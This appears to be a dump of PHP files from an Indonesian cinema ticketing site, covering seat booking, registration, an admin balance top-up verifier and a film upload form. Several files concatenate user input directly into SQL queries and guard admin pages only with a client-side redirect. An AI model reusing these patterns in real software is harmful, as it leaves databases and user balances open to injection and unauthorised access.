class="evenRow"><input type="checkbox" name="seat[]" value="B1" disabled="">B1</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="B1">B1</div><?php } ?></label> <label><?php if($myArray['C1 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="C1" disabled="">C1</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="C1">C1</div><?php } ?></label> <label><?php if($myArray['D1 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="D1" disabled="">D1</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="D1">D1</div><?php } ?></label> <label><?php if($myArray['E1 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="E1" disabled="">E1</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="E1">E1</div><?php } ?></label> <label><?php if($myArray['F1 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="F1" disabled="">F1</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="F1">F1</div><?php } ?></label> </div> <div class="col-sm-12"> <label><?php if($myArray['A2 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="A2" disabled="">A2</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="A2">A2</div><?php } ?></label> <label><?php if($myArray['B2 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="B2" disabled="">B2</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="B2">B2</div><?php } ?></label> <label><?php if($myArray['C2 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="C2" disabled="">C2</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="C2">C2</div><?php } ?></label> <label><?php if($myArray['D2 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="D2" disabled="">D2</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="D2">D2</div><?php } ?></label> <label><?php if($myArray['E2 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="E2" disabled="">E2</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="E2">E2</div><?php } ?></label> <label><?php if($myArray['F2 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="F2" disabled="">F2</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="F2">F2</div><?php } ?></label> </div> <div class="col-sm-12"> <label><?php if($myArray['A3 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="A3" disabled="">A3</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="A3">A3</div><?php } ?></label> <label><?php if($myArray['B3 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="B3" disabled="">B3</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="B3">B3</div><?php } ?></label> <label><?php if($myArray['C3 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="C3" disabled="">C3</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="C3">C3</div><?php } ?></label> <label><?php if($myArray['D3 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="D3" disabled="">D3</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="D3">D3</div><?php } ?></label> <label><?php if($myArray['E3 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="E3" disabled="">E3</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="E3">E3</div><?php } ?></label> <label><?php if($myArray['F3 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="F3" disabled="">F3</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="F3">F3</div><?php } ?></label> </div> <div class="col-sm-12"> <label><?php if($myArray['A4 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="A4" disabled="">A4</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="A4">A4</div><?php } ?></label> <label><?php if($myArray['B4 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="B4" disabled="">B4</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="B4">B4</div><?php } ?></label> <label><?php if($myArray['C4 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="C4" disabled="">C4</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="C4">C4</div><?php } ?></label> <label><?php if($myArray['D4 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="D4" disabled="">D4</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="D4">D4</div><?php } ?></label> <label><?php if($myArray['E4 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="E4" disabled="">E4</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="E4">E4</div><?php } ?></label> <label><?php if($myArray['F4 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="F4" disabled="">F4</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="F4">F4</div><?php } ?></label> </div> <div class="col-sm-12"> <label><?php if($myArray['A5 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="A5" disabled="">A5</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="A5">A5</div><?php } ?></label> <label><?php if($myArray['B5 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="B5" disabled="">B5</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="B5">B5</div><?php } ?></label> <label><?php if($myArray['C5 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="C5" disabled="">C5</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="C5">C5</div><?php } ?></label> <label><?php if($myArray['D5 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="D5" disabled="">D5</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="D5">D5</div><?php } ?></label> <label><?php if($myArray['E5 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="E5" disabled="">E5</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="E5">E5</div><?php } ?></label> <label><?php if($myArray['F5 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="F5" disabled="">F5</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="F5">F5</div><?php } ?></label> </div> </div> <div class="form-group"> <div class="col-sm-offset-2 col-sm-10"> <button type="submit" class="btn btn-primary">Pesan</button> </div> </div> </form> </div> <hr> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html><file_sep>/daftar.php <?php require_once "config.php"; session_start(); if (isset($_SESSION['username'])) { header("location:index.php"); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?= deskripsi; ?>"> <meta name="author" content="<?= admin; ?>"> <title>Daftar</title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <!-- Page Heading/Breadcrumbs --> <h1 class="mt-4 mb-3">Daftar <small><?= nama; ?></small> </h1> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php">Home</a> </li> <li class="breadcrumb-item active">Daftar</li> </ol> <form method="post" action="" class="form-horizontal"> <?php if ($_POST) { $fname = ucwords($_POST['fname']); $lname = ucwords($_POST['lname']); $username = $_POST['username']; $password = $_POST['<PASSWORD>']; $encrypt = password_hash($password, PASSWORD_DEFAULT); $email = $_POST['email']; $phone = $_POST['notelp']; $sex = $_POST['sex']; $cek_email = $conn->query("SELECT * FROM konsumen WHERE email_konsumen ='" . $email . "'"); $has = $cek_email->fetch_array(); $cek_username = $conn->query("SELECT * FROM konsumen WHERE username_konsumen ='" . $username . "'"); $hasi = $cek_username->fetch_array(); if ($has) { echo '<div class="alert alert-danger">Email yang anda masukkan sudah di gunakan user lain!</div>'; } elseif ($hasi) { echo '<div class="alert alert-danger">Username yang anda masukkan sudah di gunakan user lain!</div>'; } else { echo '<div class="alert alert-success">Sukses...Silahkan ke halaman login</div>'; $daftar = "INSERT INTO konsumen (id_konsumen,fname_konsumen,lname_konsumen,jk_konsumen,username_konsumen,password_konsumen,email_konsumen,phone_konsumen) VALUES (NULL,'$fname','$lname','$sex','$username','$encrypt','$email','$phone')"; $submit = $conn->query($daftar); } } ?> <div class="form-group"> <label for="nama" class="col-sm-2 control-label">Nama Depan</label> <div class="col-sm-4"> <input type="text" class="form-control" name="fname" placeholder="Aa" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-2 control-label">Nama Belakang</label> <div class="col-sm-4"> <input type="text" class="form-control" name="lname" placeholder="Suhendar" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-2 control-label">Username</label> <div class="col-sm-4"> <input type="text" class="form-control" name="username" placeholder="Username" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-2 control-label">Password</label> <div class="col-sm-4"> <input type="<PASSWORD>" class="form-control" name="password" placeholder="*********" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-2 control-label">Jenis Kelamin</label> <div class="col-sm-4"> <label><input type="radio" name="sex" value="L"> Laki - laki</label> <label><input type="radio" name="sex" value="P"> Perempuan</label> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-2 control-label">Email</label> <div class="col-sm-4"> <input type="email" class="form-control" name="email" placeholder="<EMAIL>" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-2 control-label">No Telepon</label> <div class="col-sm-4"> <input type="text" class="form-control" name="notelp" placeholder="081111111" required=""> </div> </div> <div class="form-group"> <div class="col-sm-offset-2 col-sm-10"> <button type="submit" class="btn btn-primary">Daftar</button> </div> </div> </form> </div> <!-- /.container --> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html><file_sep>/home/saldo.php <?php require_once "../config.php"; session_start(); if (isset($_SESSION['username'])) { $username = $_SESSION['username']; $id_kasir = $_SESSION['kasir']; } if (!isset($_SESSION['kasir'])) { echo ' <script> window.alert("Anda Tidak Berhak Mengakses Halaman Ini Karena Anda Belum Login Sebagai Kasir"); window.location = "login.php"; </script> '; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS--> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom fonts for this template--> <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> </head> <body class="fixed-nav sticky-footer bg-dark" id="page-top"> <?php include 'header.phtml'; ?> <style type="text/css"> .dataTables_filter,.dataTables_length { display: none; } </style> <div class="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php"><?=nama;?></a> </li> <li class="breadcrumb-item active">Menu Saldo</li> </ol> <!-- Icon Cards--> <div class="row"> <div class="col-lg-12"> <!-- Example Bar Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> Menu Saldo</div> <div class="card-body"> <div class="table-responsive"> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>Tanggal</th> <th>Nama konsumen</th> <th>Nominal Saldo</th> <th>Kode Top Up</th> <th>Status</th> </tr> </thead> <tfoot> <tr> <th>Tanggal</th> <th>Nama konsumen</th> <th>Nominal Saldo</th> <th>Kode Top Up</th> <th>Status</th> </tr> </tfoot> <tbody> <?php $qyu = $conn->query("SELECT * FROM topup INNER JOIN konsumen WHERE topup.id_konsumen = konsumen.id_konsumen"); while($datanya = $qyu->fetch_array()){ ?> <tr> <td><?php echo $datanya['tanggal']; ?></td> <td><?php echo $datanya['fname_konsumen']." ".$datanya['lname_konsumen']; ?></td> <td><?php echo $datanya['uang']; ?></td> <td><?php echo $datanya['kode_topup']; ?></td> <td><?php echo $datanya['status']; ?></td> </tr> <?php } ?> </tbody> </table> </div> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> Verifikasi Top Up</div> <div class="card-body"> <form action="" method="post"> <?php if($_POST['kode']){ $kode = $_POST['kode']; $tops = $conn->query("SELECT * FROM topup WHERE kode_topup = '$kode'"); $m = $tops->fetch_assoc(); if($m['status']=="Waiting"){ $idc = $m['id_konsumen']; $uang = $m['uang']; $updatesaldo = $conn->query("UPDATE konsumen SET saldo_konsumen=saldo_konsumen+$uang WHERE id_konsumen='$idc'"); $updatestatus = $conn->query("UPDATE topup SET status='Approved' WHERE kode_topup='$kode'"); echo '<div class="alert alert-success">Status Telah di Ubah Menjadi Approved!</div>'; }else{ echo '<div class="alert alert-danger">Kode Telah di gunakan/tidak ada dalam database!</div>'; } } ?> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Kode Top Up :</label> <div class="col-sm-12"> <input class="form-control" type="text" name="kode" required> </div> </div> <button type="submit" class="btn btn-success col-sm-12">Submit</button> </form> Fitur ini berfungsi untuk menyetujui transaksi top up yang di lakukan oleh konsumen. </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> </div> <!-- Logout Modal--> <!-- /.content-wrapper--> <footer class="sticky-footer"> <div class="container"> <div class="text-center"> <small>Copyright © <?=nama;?> 2018</small> </div> </div> </footer> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fa fa-angle-up"></i> </a> <!-- Logout Modal--> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Custom scripts for this page--> <script src="js/sb-admin-datatables.min.js"></script> <script src="js/sb-admin-charts.min.js"></script> </div> </body> </html> <file_sep>/home/editay.php <div class="modal fade" id="deltay<?php echo $datanya['id']; ?>" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Yakin Mau Menghapus <?php echo $datanya['judul']; ?> Dari Jadwal Tayangan ?</h5> <button class="close" type="button" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-footer"> <form action="filmeditor.php?deltay=<?php echo $datanya['id'];?>" method="post"> <input type="hidden" name="ozora"> <button class="btn btn-secondary" type="button" data-dismiss="modal">Batal</button> <button type="submit" class="btn btn-primary">Ya</button> </form> </div> </div> </div> </div><file_sep>/index.php <?php require_once "config.php"; session_start(); if (isset($_SESSION['username'])) { $username = $_SESSION['username']; } //hapus seat $cektiket = $conn->query("SELECT * FROM tiket where tanggal_tonton < CURDATE()"); while($datatiket = $cektiket->fetch_assoc()){ $update = "UPDATE tiket SET status='Out Of Date' WHERE id='$datatiket[id]'"; $submit = $conn->query($update); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <?php include "header.phtml"; ?> <header> <div id="carouselExampleIndicators" class="carousel slide" data-ride="carousel"> <ol class="carousel-indicators"> <li data-target="#carouselExampleIndicators" data-slide-to="0" class="active"></li> <li data-target="#carouselExampleIndicators" data-slide-to="1"></li> <li data-target="#carouselExampleIndicators" data-slide-to="2"></li> </ol> <div class="carousel-inner" role="listbox"> <!-- Slide One - Set the background image for this slide in the line below --> <div class="carousel-item active" style="background-image: url('asset/index.jpg')"> <div class="carousel-caption d-none d-md-block"> <h3><?=nama;?></h3> <p><?=deskripsi;?></p> </div> </div> <?php $q = $conn->query("SELECT * FROM film limit 2"); while($data = $q->fetch_array()){ ?> <div class="carousel-item" style="<?php echo "background-image: url('asset/".$data['image']."')"; ?>"> <div class="carousel-caption d-none d-md-block"> <h3><?php echo $data['judul'];?></h3> <p><?php echo $data['sinopsis'];?></p> </div> </div> <?php } ?> </div> <a class="carousel-control-prev" href="#carouselExampleIndicators" role="button" data-slide="prev"> <span class="carousel-control-prev-icon" aria-hidden="true"></span> <span class="sr-only">Previous</span> </a> <a class="carousel-control-next" href="#carouselExampleIndicators" role="button" data-slide="next"> <span class="carousel-control-next-icon" aria-hidden="true"></span> <span class="sr-only">Next</span> </a> </div> </header> <!-- Page Content --> <div class="container"> <h1 class="my-4">Selamat Datang di <?=nama;?></h1> <!-- Portfolio Section --> <h2>Film Yang Sedang Tayang</h2> <div class="row"> <?php $qyu = $conn->query("SELECT * FROM tayang INNER JOIN film WHERE CURDATE() BETWEEN tanggal_awal AND tanggal_akhir AND tayang.id_film = film.id_film limit 3"); while($datanya = $qyu->fetch_array()){ ?> <div class="col-lg-4 col-sm-6 portfolio-item"> <div class="card h-100"> <a href=<?php echo "order.php?id=".$datanya['id_film']."";?>><img class="card-img-top" src="<?php echo "asset/".$datanya['image'].""; ?>" alt=""></a> <div class="card-body"> <h4 class="card-title"> <a href=<?php echo "order.php?id=".$datanya['id_film']."";?>><?php echo "".$datanya['judul'].""; ?></a> </h4> <p class="card-text"><?php echo '<p class="time">'.$datanya['jam1'].' | '.$datanya['jam2'].' | '.$datanya['jam3'].'</p>';?> <a href=<?php echo "detail.php?id=".$datanya['id_film']."";?>>Lihat Sinopsis</a></p> </div> </div> </div> <?php } ?> </div> <!-- /.row --> <!-- Features Section --> <div class="row"> <div class="col-lg-6"> <h2><?=nama;?></h2> <p>Nonton Bareng Keluarga Seru Hanya di <?=nama;?></p> <p>Keunggulan Bioskop Kami :</p> <ul> <li> <strong>Nyaman</strong> </li> <li>Murah</li> <li>Terdapat Banyak Cabang</li> </ul> <p><?=nama;?> merupakan salah satu jaringan bioskop di Indonesia yang menawarkan konsep baru untuk memberikan pengalaman yang berbeda saat menonton film.</p> </div> <div class="col-lg-6"> <img class="img-fluid rounded" src="asset/bckrnd.jpg" alt=""> </div> </div> <!-- /.row --> <hr> </div> <!-- /.container --> <!-- Footer --> <footer class="py-5 bg-dark"> <div class="container"> <p class="m-0 text-center text-white">Copyright &copy; <?=nama;?> 2018</p> </div> <!-- /.container --> </footer> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html> <file_sep>/home/film.php <?php require_once "../config.php"; session_start(); if (isset($_SESSION['username'])) { $username = $_SESSION['username']; $id_kasir = $_SESSION['kasir']; } if (!isset($_SESSION['kasir'])) { echo ' <script> window.alert("Anda Tidak Berhak Mengakses Halaman Ini Karena Anda Belum Login Sebagai Kasir"); window.location = "login.php"; </script> '; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS--> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom fonts for this template--> <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> </head> <body class="fixed-nav sticky-footer bg-dark" id="page-top"> <style type="text/css"> .dataTables_filter,.dataTables_length { display: none; } </style> <?php include 'header.phtml'; ?> <div class="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php"><?=nama;?></a> </li> <li class="breadcrumb-item active">Tambah Film</li> </ol> <!-- Icon Cards--> <div class="row"> <div class="col-lg-8"> <!-- Example Bar Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> Total Film</div> <div class="card-body"> <div class="table-responsive"> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>Judul Film</th> <th>Tanggal Rilis</th> <th>Durasi Film</th> <th>Rating</th> <th>Negara</th> <th>Produksi</th> </tr> </thead> <tfoot> <tr> <th>Judul Film</th> <th>Tanggal Rilis</th> <th>Durasi Film</th> <th>Rating</th> <th>Negara</th> <th>Produksi</th> </tr> </tfoot> <tbody> <?php $qyu = $conn->query("SELECT * FROM film"); while($datanya = $qyu->fetch_array()){ ?> <tr> <td><?php echo $datanya['judul']; ?></td> <td><?php echo $datanya['tgl_rilis']; ?></td> <td><?php echo $datanya['durasi']." menit"; ?></td> <td><?php echo $datanya['rating']; ?></td> <td><?php echo $datanya['negara']; ?></td> <td><?php echo $datanya['produksi']; ?></td> </tr> <?php } ?> </tbody> </table> </div> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> <div class="col-lg-4"> <!-- Example Pie Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-pie-chart"></i> Tambah Film</div> <div class="card-body"> <form action="" method="post" enctype="multipart/form-data"> <?php if($_POST['judul']){ $title = ucwords($_POST['judul']); $release = $_POST['rilis']; $cast = ucwords($_POST['artis']); $story = ucfirst($_POST['sinopsis']); $trailer = $_POST['link']; $duration = $_POST['durasi']; $category1 = ucwords($_POST['kategori1']); $category2 = ucwords($_POST['kategori2']); $category3 = ucwords($_POST['kategori3']); $restricted = strtoupper($_POST['batas']); $country = ucwords($_POST['negara']); $company = ucwords($_POST['perusahaan']); $idx = strpos($_FILES['myfile']['name'],'.'); $ext = substr($_FILES['myfile']['name'],$idx); $file_ext = strtolower(end(explode('.',$_FILES['myfile']['name']))); $file_name = $title . $ext; $output_dir = "../asset/"; if(isset($_FILES["myfile"])){ $allow = array("jpg","png","jpeg","svg"); if (in_array($file_ext,$allow)) { if ($_FILES["myfile"]["error"] > 0){ echo '<div class="alert alert-danger">Poster Gagal Di Upload!</div>'; }else{ move_uploaded_file($_FILES["myfile"]["tmp_name"],$output_dir.$file_name); $daftar = "INSERT INTO film (id_film,image,judul,trailer,tgl_rilis,durasi,sinopsis,artis,kategori1,kategori2,kategori3,rating,negara,produksi,id_kasir) VALUES (NULL,'$file_name','$title','$trailer','$release','$duration','$story','$cast','$category1','$category2','$category3','$restricted','$country','$company','$id_kasir')"; $submit = $conn->query($daftar); echo '<script>window.alert("Sukses..");window.location = "film.php";</script>'; } }else{ echo '<div class="alert alert-danger">Format Gambar Harus JPG, PNG, JPEG, Atau SVG!</div>'; } } } ?> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Judul Film :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="judul" placeholder="Stand Up" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Poster Film :</label> <div class="col-sm-12"> <input class="form-control" type="file" name="myfile" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Tanggal Rilis :</label> <div class="col-sm-12"> <input class="form-control" type="date" name="rilis" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Nama Pemain :</label> <div class="col-sm-12"> <input class="form-control" type="text" name="artis" placeholder="Nama Pemain..." required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Durasi (Menit) :</label> <div class="col-sm-12"> <input type="number" class="form-control" placeholder="Durasi Film..." name="durasi" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Sinopsis :</label> <div class="col-sm-12"> <textarea class="form-control" style="resize:vertical;" name="sinopsis" placeholder="Sinopsis..." required></textarea> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Link Trailer :</label> <div class="col-sm-12"> <input class="form-control" type="url" name="link" placeholder="http://youtube.com/" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Kategori Film :</label> <div class="col-sm-12"> <select class="form-control" name="kategori1" required> <option value="Action">Action</option> <option value="Adventure">Adventure</option> <option value="Animation">Animation</option> <option value="Anime">Anime</option> <option value="Asia">Asia</option> <option value="Biography">Biography</option> <option value="Comedy">Comedy</option> <option value="Crime">Crime</option> <option value="Documentary">Documentary</option> <option value="Drama">Drama</option> <option value="Family">Family</option> <option value="Fantasy">Fantasy</option> <option value="Foreign">Foreign</option> <option value="History">History</option> <option value="Horror">Horror</option> <option value="Musical">Musical</option> <option value="Mystery">Mystery</option> <option value="Romance">Romance</option> <option value="Sci-Fi">Sci-fi</option> <option value="Short">Short</option> <option value="Sport">Sport</option> <option value="Superhero">Superhero</option> <option value="Thriller">Thriller</option> <option value="War">War</option> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Kategori Film :</label> <div class="col-sm-12"> <select class="form-control" name="kategori2" required> <option value="Action">Action</option> <option value="Adventure">Adventure</option> <option value="Animation">Animation</option> <option value="Anime">Anime</option> <option value="Asia">Asia</option> <option value="Biography">Biography</option> <option value="Comedy">Comedy</option> <option value="Crime">Crime</option> <option value="Documentary">Documentary</option> <option value="Drama">Drama</option> <option value="Family">Family</option> <option value="Fantasy">Fantasy</option> <option value="Foreign">Foreign</option> <option value="History">History</option> <option value="Horror">Horror</option> <option value="Musical">Musical</option> <option value="Mystery">Mystery</option> <option value="Romance">Romance</option> <option value="Sci-Fi">Sci-fi</option> <option value="Short">Short</option> <option value="Sport">Sport</option> <option value="Superhero">Superhero</option> <option value="Thriller">Thriller</option> <option value="War">War</option> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Kategori Film :</label> <div class="col-sm-12"> <select class="form-control" name="kategori3" required> <option value="Action">Action</option> <option value="Adventure">Adventure</option> <option value="Animation">Animation</option> <option value="Anime">Anime</option> <option value="Asia">Asia</option> <option value="Biography">Biography</option> <option value="Comedy">Comedy</option> <option value="Crime">Crime</option> <option value="Documentary">Documentary</option> <option value="Drama">Drama</option> <option value="Family">Family</option> <option value="Fantasy">Fantasy</option> <option value="Foreign">Foreign</option> <option value="History">History</option> <option value="Horror">Horror</option> <option value="Musical">Musical</option> <option value="Mystery">Mystery</option> <option value="Romance">Romance</option> <option value="Sci-Fi">Sci-fi</option> <option value="Short">Short</option> <option value="Sport">Sport</option> <option value="Superhero">Superhero</option> <option value="Thriller">Thriller</option> <option value="War">War</option> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Batasan Umur :</label> <div class="col-sm-12"> <select class="form-control" name="batas"> <option value="BO">Bimbingan Orang Tua</option> <option value="R">Remaja</option> <option value="D">Dewasa</option> <option value="SU">Semua Umur</option> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Negara :</label> <div class="col-sm-12"> <select class="form-control" name="negara" required> <option value="Afghanistan">Afghanistan</option> <option value="Albania">Albania</option> <option value="Algeria">Algeria</option> <option value="American Samoa">American Samoa</option> <option value="Andorra">Andorra</option> <option value="Angola">Angola</option> <option value="Anguilla">Anguilla</option> <option value="Antartica">Antarctica</option> <option value="Antigua and Barbuda">Antigua and Barbuda</option> <option value="Argentina">Argentina</option> <option value="Armenia">Armenia</option> <option value="Aruba">Aruba</option> <option value="Australia">Australia</option> <option value="Austria">Austria</option> <option value="Azerbaijan">Azerbaijan</option> <option value="Bahamas">Bahamas</option> <option value="Bahrain">Bahrain</option> <option value="Bangladesh">Bangladesh</option> <option value="Barbados">Barbados</option> <option value="Belarus">Belarus</option> <option value="Belgium">Belgium</option> <option value="Belize">Belize</option> <option value="Benin">Benin</option> <option value="Bermuda">Bermuda</option> <option value="Bhutan">Bhutan</option> <option value="Bolivia">Bolivia</option> <option value="Bosnia and Herzegowina">Bosnia and Herzegowina</option> <option value="Botswana">Botswana</option> <option value="Bouvet Island">Bouvet Island</option> <option value="Brazil">Brazil</option> <option value="British Indian Ocean Territory">British Indian Ocean Territory</option> <option value="Brunei Darussalam">Brunei Darussalam</option> <option value="Bulgaria">Bulgaria</option> <option value="Burkina Faso">Burkina Faso</option> <option value="Burundi">Burundi</option> <option value="Cambodia">Cambodia</option> <option value="Cameroon">Cameroon</option> <option value="Canada">Canada</option> <option value="Cape Verde">Cape Verde</option> <option value="Cayman Islands">Cayman Islands</option> <option value="Central African Republic">Central African Republic</option> <option value="Chad">Chad</option> <option value="Chile">Chile</option> <option value="China">China</option> <option value="Christmas Island">Christmas Island</option> <option value="Cocos Islands">Cocos (Keeling) Islands</option> <option value="Colombia">Colombia</option> <option value="Comoros">Comoros</option> <option value="Congo">Congo</option> <option value="Congo">Congo, the Democratic Republic of the</option> <option value="Cook Islands">Cook Islands</option> <option value="Costa Rica">Costa Rica</option> <option value="Cota D'Ivoire">Cote 